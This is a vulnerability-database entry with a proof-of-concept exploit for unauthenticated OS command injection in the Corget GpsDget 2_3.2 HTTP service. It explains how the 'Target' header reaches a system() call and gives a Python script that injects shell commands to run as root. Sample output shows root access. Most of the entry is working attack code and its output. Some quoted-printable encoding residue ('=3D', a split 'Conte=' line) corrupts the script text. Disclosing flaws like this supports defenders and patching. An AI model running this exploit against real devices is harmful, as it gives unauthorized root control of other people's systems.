📄 CorgetGpsDget 2_3.2 Command Injection

🗓️ 11 Aug 2026 00:00:00Reported by BytetobreachType

Unauthenticated OS command injection in Corget GpsDget 2_3.2 SendEmail handler executes arbitrary commands as root.

# Exploit Title: CorgetGpsDget 2_3.2 - OS Command Injection 
    # Date: 2026-07-05
    # Exploit Author: Bytetobreach
    # Fofa server: "PTTServer"
    # Vendor Homepage: http://corget.com 
    # Version: GpsDget 2_3.2, build 2020-09-01 (dget.version); product line Gps2.0
    # Tested on Ubuntu. Binary reversed on Ghidra Debian. 
    # Sink is in http/HttpHandler.cpp  CHttpHandler::SendEmail
    # CVE: pending (requested)
    #
    # Description:
    # HTTP service (Server: PTTServer) unauthenticated handler reachable by SendEmail
    # method request header. The "Target" header recipient
    # header is unsafly concatenated into a system() call:
    #     system("echo '<body>'|mail -r '[email protected]' -s '<subject>' <Target>");
    # A Target value such as `x;<cmd>;` injects unauthenticated arbitrary OS commands
    # executed as root.
    
    
    # Example: python3 corget.py TARGET:7777 'id > /data/rce'
    # HTTP/1.0 200 Ok
    # Server: PTTServer
    # Content-Length: 0
    # curl TARGET:13001/rce
    # uid=0(root) gid=0(root) 组=0(root)
    
    
    
    
    import socket, sys
    
    host, port =3D sys.argv[1].split(':')
    cmd =3D sys.argv[2] if len(sys.argv) > 2 else 'id > /data/pwn'
    
    req =3D f"POST / HTTP/1.0\r\nMethod: SendEmail\r\nTarget: x;{cmd};\r\nConte=
    nt-Length: 3\r\n\r\na&b"
    
    s =3D socket.socket()
    s.connect((host, int(port)))
    s.send(req.encode())
    print(s.recv(4096).decode(errors=3D'replace'))

11 Aug 2026 00:00Current

5.4Medium risk

Vulners AI Score5.4